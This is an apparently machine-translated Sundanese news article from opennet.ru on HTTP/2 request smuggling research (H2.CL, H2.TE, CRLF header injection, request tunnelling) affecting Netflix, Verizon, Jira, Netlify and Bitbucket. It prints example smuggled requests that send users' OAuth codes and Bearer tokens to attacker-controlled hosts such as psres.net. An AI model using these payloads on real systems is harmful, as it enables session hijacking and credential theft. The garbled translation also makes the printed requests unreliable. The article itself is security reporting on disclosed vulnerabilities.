Serangan anyar dina sistem hareup-tungtung-tukang anu ngamungkinkeun anjeun ngaganjel kana pamundut

Sistem wéb dimana tungtung hareup narima sambungan via HTTP/2 sarta ngirimkeunana ka backend via HTTP/1.1 geus kakeunaan varian anyar tina serangan "HTTP Request Smuggling", anu ngamungkinkeun, ku ngirim requests klien dirancang husus, ka ngaganjel kana eusi requests ti pamaké séjén diolah dina aliran sarua antara frontend na backend. Serangan éta tiasa dianggo pikeun nyelapkeun kode JavaScript jahat kana sési kalayan halaman wéb anu sah, sistem pangwatesan aksés jalan-jalan sareng parameter auténtikasi nyegat.

Masalahna mangaruhan proksi wéb, penyeimbang beban, akselerator wéb, sistem pangiriman eusi sareng konfigurasi sanésna dimana pamundut dialihkeun ku cara hareup-tungtung-tukang-tukang. Panulis pangajaran nunjukkeun kamungkinan nyerang sistem Netflix, Verizon, Bitbucket, Netlify CDN sareng Atlassian, sareng nampi 56 rébu dolar dina program ganjaran pikeun ngaidentipikasi kerentanan. Masalahna ogé parantos dikonfirmasi dina produk F5 Networks. Masalahna sawaréh mangaruhan mod_proxy dina server Apache http (CVE-2021-33193), perbaikan diperkirakeun dina versi 2.4.49 (pamekar dibéjakeun ngeunaan masalah éta dina awal Méi sareng dibéré 3 bulan kanggo ngalereskeunana). Dina nginx, kamampuhan pikeun sakaligus nangtukeun headers "Panjang Kandungan" jeung "Transfer-Encoding" diblokir dina release panungtungan (1.21.1). Alat serangan parantos kalebet dina toolkit Burp sareng sayogi dina bentuk extension Turbo Intruder.

Prinsip operasi sahiji metodeu anyar requests wedging kana lalulintas téh sarupa jeung kerentanan dicirikeun ku panalungtik sarua dua taun ka tukang, tapi dugi ka frontends nu narima requests leuwih HTTP / 1.1. Hayu urang émut yén dina skéma frontend-backend, pamundut klien ditampi ku titik tambahan - frontend, anu ngawangun sambungan TCP anu lami-lami sareng backend, anu langsung ngolah pamundut. Ngaliwatan sambungan umum ieu, requests ti pamaké béda biasana dikirimkeun, nu nuturkeun ranté hiji sanggeus sejen, dipisahkeun ku cara maké protokol HTTP.

Serangan klasik "HTTP Request Smuggling" dumasar kana kanyataan yén frontends sareng backends napsirkeun panggunaan header HTTP "Content-Length" (nangtukeun ukuran total data dina pamundut) sareng "Transfer-Encoding: chunked" (ngamungkinkeun data anu bakal ditransfer sabagian) béda. . Contona, upami frontend ngan ngarojong "Content-Length" tapi teu malire "Transfer-Encoding: chunked", maka panyerang tiasa ngirim pamundut anu ngandung header "Content-Length" sareng "Transfer-Encoding: chunked", tapi. ukuran "Kandungan-Panjang" teu cocog ukuran ranté chunked. Dina hal ieu, frontend bakal ngolah sareng alihan pamundut saluyu sareng "Kandungan-Panjang", sareng backend bakal ngantosan parantosan blok dumasar kana "Transfer-Encoding: chunked" sareng buntut sésana tina pamundut panyerang bakal. jadi di awal pamundut batur dikirimkeun salajengna.

Beda sareng protokol téks HTTP / 1.1, anu diuraikan dina tingkat garis, HTTP / 2 mangrupikeun protokol binér sareng ngamanipulasi blok data tina ukuran anu tos ditangtukeun. Sanajan kitu, HTTP / 2 ngagunakeun pseudo-headers nu pakait jeung headers HTTP biasa. Dina kasus interaksi jeung backend via protokol HTTP / 1.1, frontend narjamahkeun ieu pseudo-headers kana headers HTTP sarupa HTTP / 1.1. Masalahna nyaeta backend nu nyieun kaputusan ngeunaan parsing aliran dumasar kana headers HTTP diatur ku frontend, tanpa ngabogaan informasi ngeunaan parameter tina pamundut aslina.

Khususna, nilai "eusi-panjang" sareng "transfer-encoding" tiasa dikirimkeun dina bentuk pseudo-header, sanaos kanyataan yén aranjeunna henteu dianggo dina HTTP / 2, sabab ukuran sadaya data ditangtukeun. dina widang misah. Sanajan kitu, salila prosés ngarobah hiji HTTP / 2 pamundut ka HTTP / 1.1, headers ieu dibawa leuwih sarta bisa ngalieurkeun backend nu. Aya dua varian serangan utama: H2.TE jeung H2.CL, nu backend ieu misled ku transfer-encoding atawa eusi-panjang nilai lepat nu teu pakait jeung ukuran sabenerna awak pamundut narima frontend via protokol HTTP/2.

Serangan anyar dina sistem hareup-tungtung-tukang anu ngamungkinkeun anjeun ngaganjel kana pamundut

Conto serangan H2.CL nyaéta nangtukeun ukuran anu salah dina pseudo-header eusi-panjangna nalika ngirim pamundut HTTP/2 ka Netflix. Paménta ieu nyababkeun panambahan header HTTP anu sami sareng Panjang Kandungan nalika ngaksés backend via HTTP / 1.1, tapi kumargi ukuran dina Panjang-Eusi dieusian kirang tina anu saleresna, bagian tina data dina buntut diolah salaku mimiti pamundut salajengna.

Contona, menta HTTP/2 :metode POST :path /n :wewenang www.netflix.com eusi-panjang 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Bakal ngahasilkeun pamundut dikirim ka backend: POST / n HTTP / 1.1 Host: www.netflix.com Kandungan-Panjang: 4 abcdGET / n HTTP / 1.1 Host: 02.rs?x.netflix.com Foo: bar

Kusabab Kandungan-Panjangna boga nilai 4, backend bakal nampa ukur "abcd" salaku awak pamundut, sarta sésana "GET / n HTTP / 1.1 ..." bakal diolah salaku awal pamundut saterusna. pakait sareng pamaké séjén. Sasuai, aliran bakal jadi desynchronized sarta respon kana pamundut salajengna, hasil ngolah pamundut dummy bakal dikaluarkeun. Dina kasus Netflix, nangtukeun host pihak katilu dina lulugu "Host:" dina pamundut dummy nyababkeun klien ngabalikeun réspon "Lokasi: https://02.rs?x.netflix.com/n" sareng eusi sawenang diwenangkeun dikirim ka klien, kaasup Jalankeun kode JavaScript anjeun dina konteks situs Netflix.

Pilihan serangan kadua (H2.TE) ngalibatkeun ngaganti "Transfer-Encoding: chunked" lulugu. Pamakéan pseudo-header transfer-encoding dina HTTP / 2 dilarang ku spésifikasi sareng pamundut sareng éta ditunjuk pikeun dianggap teu leres. Sanajan ieu, sababaraha palaksanaan frontend teu nyandak sarat ieu kana rekening sarta ngidinan pamakéan a mindahkeun-encoding pseudo-header dina HTTP / 2, nu dirobah jadi lulugu HTTP sarupa. Upami aya header "Transfer-Encoding", backend tiasa nyandak éta salaku prioritas anu langkung luhur sareng nga-parse data sapotong-sapotong dina modeu "chunked" nganggo blok-blok ukuran anu béda dina format "{size}\r\n{block }\r\n{ukuran} \r\n{blok}\r\n0", sanajan divisi awal ku ukuran sakabéh.

Ayana gap sapertos dibuktikeun ku conto Verizon. Masalahna ngeunaan portal auténtikasi sareng sistem manajemén eusi, anu ogé dianggo dina situs sapertos Huffington Post sareng Engadget. Contona, pamundut klien via HTTP/2::metode POST:path /identitfy/XUI:authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Hasilna ngirim hiji HTTP / 1.1 pamundut ka backend nu: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Kandungan-Panjang: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. net Eusi- Panjangna: 10x=

Backend, kahareupna teu malire header "Content-Length" sareng ngalaksanakeun pamisahan in-stream dumasar kana "Transfer-Encoding: chunked". Dina prakna, serangan nu ngamungkinkeun pikeun alihan requests pamaké pikeun ramatloka maranéhanana, kaasup intercepting requests patali auténtikasi OAuth, parameter nu dipintonkeun dina lulugu Referer, kitu ogé simulating sési auténtikasi sarta triggering sistem pamaké pikeun ngirim Kapercayaan. ka host panyerang. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Otorisasi: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Pikeun nyerang palaksanaan HTTP/2 anu henteu ngijinkeun pseudo-header transfer-encoding, metode anu sanésna diusulkeun anu ngalibatkeun ngagentos lulugu "Transfer-Encoding" ku cara ngalampirkeun kana pseudo-header sanés anu dipisahkeun ku karakter baris anyar ( lamun dirobah jadi HTTP / 1.1 dina hal ieu nyiptakeun dua lulugu HTTP misah).

Salaku conto, Atlassian Jira sareng Netlify CDN (dipaké pikeun ngalayanan halaman mimiti Mozilla di Firefox) kapangaruhan ku masalah ieu. Husus, pamundut HTTP/2 :metode POST :path / :otoritas start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n eusi-Panjang: 5\r\n \r\n x=

hasilna HTTP/1.1 POST / HTTP/1.1 pamundut dikirim ka backend nu\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r \n x=

Pilihan séjén pikeun ngagentos lulugu "Transfer-Encoding" nyaéta ngagantelkeun kana nami pseudo-header sanés atanapi kana garis anu nganggo metode pamundut. Salaku conto, nalika ngaksés Atlassian Jira, nami pseudo-header "foo: bar\r\ntransfer-encoding" kalayan nilai "chunked" nyababkeun header HTTP "foo: bar" sareng "transfer-encoding: chunked" ditambahkeun. , sarta nangtukeun pseudo-header ": métode" nilai "GET / HTTP / 1.1 \ r \ nTransfer-encoding: chunked" ditarjamahkeun kana "GET / HTTP / 1.1 \ r \ ntransfer-encoding: chunked".

Panaliti anu ngaidentipikasi masalahna ogé ngusulkeun téknik tunneling pamundut pikeun nyerang frontends, dimana unggal alamat IP netepkeun sambungan anu misah ka backend sareng lalu lintas ti pangguna anu béda henteu dicampur. Téhnik diusulkeun teu ngidinan interfering kalawan requests ti pamaké séjén, tapi ngamungkinkeun pikeun racun cache dibagikeun nu mangaruhan ngolah requests séjén, sarta ngidinan substitusi headers HTTP internal dipaké pikeun mindahkeun informasi jasa ti frontend ka backend nu ( contona, nalika auténtikasi di sisi frontend di headers Saperti bisa ngirimkeun informasi ngeunaan pamaké ayeuna mun backend nu). Salaku conto nerapkeun métode dina prakna, ngagunakeun karacunan cache, éta mungkin pikeun meunangkeun kontrol ngaliwatan kaca dina layanan Bitbucket.

sumber: opennet.ru

Tambahkeun komentar